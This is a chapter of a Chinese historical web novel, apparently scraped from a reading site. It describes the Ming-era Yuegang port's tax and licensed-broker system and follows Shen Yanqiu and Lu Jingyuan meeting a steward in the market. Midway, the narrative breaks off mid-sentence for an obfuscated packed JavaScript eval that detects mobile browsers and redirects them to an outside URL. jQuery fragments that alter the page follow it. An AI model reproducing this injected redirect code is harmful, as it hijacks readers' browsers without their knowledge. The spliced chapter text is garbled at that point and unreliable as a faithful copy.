默认冷灰
24号文字
方正启体

18. 月港牙行

作者:螺蛳粉加鸭脚本书字数:K更新时间:
    隆庆开关后的月港洋市,不过辰时,已然热闹起来。


    九龙江潮水初涨,江面上洋船、乌艚、驳船首尾相接,帆影相遮。


    随着晚潮而来的远洋商船停靠在江口外洋的锚地,须得先遣了通事携带船引,坐着小船,前往码头核验,等着海防兵船登船初查。


    在洋市的东岸码头,书吏正核对着船号、船主、航线与返港日期,又丈量了船只大小,算出水饷。通事则等候在旁,需得在海防馆银库交银后,才能领取水饷完税!票。


    领了□□,大船上的货就能从在外洋锚地分批卸货至驳船,再走月溪内港运至码头或者港口市盘验。


    负责清点的书吏按船引载货清单核对货物,按《陆饷则例》估价核定货价,开具陆饷税单,注明估值与税额后交由牙行签字担保,日后若是发现什么错处,先拿牙行,再追船主。等到牙行去代缴了陆饷与加增饷,领取了完税!票,海防馆的差役会在船引上盖印,放行驳船。


    船主们将货物卸到西岸港口市的交割场,经过牙行保结后,居中撮合船主与内地买主。而牙行则会从交易额中抽取约百分之五的佣金,一式三份开具交易契纸,自留一份、买家一份,剩下的交给官府存档。


    买主持契纸与完税!票,才可以自由通行九龙江内河及内地。


    想要在月港经营港口贸易,从船引、出关、到报关缴税,再到买卖货物,哪一步都少不了牙行的身影。


    洋市西岸首尾相连的木质店屋,几乎都是各路牙行,时又称“十三行”。牙人们每日穿梭其间,高声唱价,算盘声噼啪不绝。


    沿着西岸港口向内向深走去,入眼的是一排排竹竿厝铺屋。这种屋子门面窄窄,进深长长,大多是前店后仓的布局。货物从驳船上卸下,又运上小船,经过密集的河网运到后门仓库口直接卸货,不影响前店的客人。


    店前的街面铺了长条石板,被南来北往的脚步磨得黑沉发亮。各家铺面前的木板窗尽数卸下,木架上的麻袋里盛着西洋运来的胡椒、檀香、乳香等各色香料,在海边的晨曦中泛着浅色的光泽。


    这里除了洋货行,也有米行、糖行、药材行、客栈、饭铺等,混在牙行之间,也是生意兴隆,日进斗金。


    挑夫扛着篓子往来穿梭叫卖,南来北往的各地方言随着海浪此起彼伏,海风的咸腥与各种木料的香气混杂,是月港!独一份的盛世景象。


    单这番业务下来,牙行似乎出力最小,无需承担海贸的风险,却能稳稳有着不菲的收入。但实际上,在月港开设牙行,要求实在严格。


    月港实行定额官牙制,由海澄县与海防馆共同核定名额。牙人须得是海澄县本地身家清白、无犯罪前科的有抵业人户,或者由地方里甲、乡绅具结担保。经验资核查无误,才由府县加盖官印,颁发牙帖。若是无帖即是私牙,依照《大明律》,私充牙行者杖六十,所得牙钱入官,官牙容隐者笞五十、革职。


    牙行的职责其实并不轻松,必须逐笔登记官府颁发印信文簿,详细记录客商姓名、籍贯、船引号、货名、数量、估值、税额、买卖双方、交易日期、牙佣金额等重要数据。并且按月赴海防馆缴查,若是漏登、伪登都会以走私论处,罪责极重。


    无论买卖双方谁违约,牙行都需要先行垫付,再向违约方追偿。客商间有交易纠纷的,也要先由牙行调解,调解不成的,再送县衙。若是发现船主夹带违禁品,牙行按律必须立即举报,知情不报或者包庇走私的,与船主同罪。


    当然,律法如何是一回事,实际上运作又是另一回事。


    距离隆庆开关已经十多年,牙行俨然已经从利润尚可的苦差事,成了能够熟练协调各方利益的掮客。


    沈砚秋领着陆景渊正在市集上闲逛。她昨日认识了个朋友,约了早上一同逛逛,既然陆景渊有空,就让他领着给大家伙见见世面。


    毕竟,让沈砚秋装作有钱的富商,着实有些难。没钱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317516|198988||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就是没钱,如今她府上连个贵价的绸衣都少见。


    陆景渊则穿着桃粉色绫绸直裰,料子是上好的杭绸,领口袖口滚着一圈嫩绿细边,绣着几只针脚细密的鸳鸯花样,显得审美相当特别。头发则梳得齐齐整整,似是有着淡淡的桂花香味,又以素银簪绾住,就算不戴巾帽也显得干净利落。手中打着一只螺钿折扇,随意遮挡晒在脸上的日光,浑身上下透出一股子暴发户的味道来。


    可恶的天龙人。


    “沈弟!”正是路口,昨日认识的朋友正站在商行的檐下向她招手。


    他穿着灰布直身,领口都磨得有些发毛,一根粗布带胡乱扎在腰间。头上戴着青布巾,脚上踩了双粗布鞋。


    怎么穿得比她还穷酸。


    “马管家。”沈砚秋走上前,向他行礼,介绍起了一旁的陆景渊。


    “这是我家官人,姓陆。”


    陆景渊看了那中年男子一眼,听着这声官人,虽然知晓只是寻常称呼,心中却还是格外熨帖。他收起扇子向那人行礼:“见过马管家。”


    马管家看了眼陆景渊,转头向沈砚秋问道:“陆官人与我等一道是否合适?”


    沈砚秋摇手道:“他不妨事,马管家你放心。”


    “他这通身的富贵,正合适不过。”市集上认识她的人不少,认识陆景渊的倒是不多。他寻常驻守在离此处较远的卫所中,对这市集上的事情兴趣不大,并不常来。再加上如今这一番装扮,很难将这么一个粉色的身影与卫所千户联想起来。


    沈砚秋今日穿了一身小厮的装扮,又稍稍化了妆改变脸型眉毛,只有原本的三分相像。即便如此,马管家还是一眼就认出了她,确实有些本事。


    “如此人齐了,我们便走走看看。”马管家提议道,“我便是二位请的脚夫,负责给二位扛货物。”


    “如此甚好。”


    陆景渊打开折扇,目光在面前二人之间流转,用扇面遮住了上扬的嘴角。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)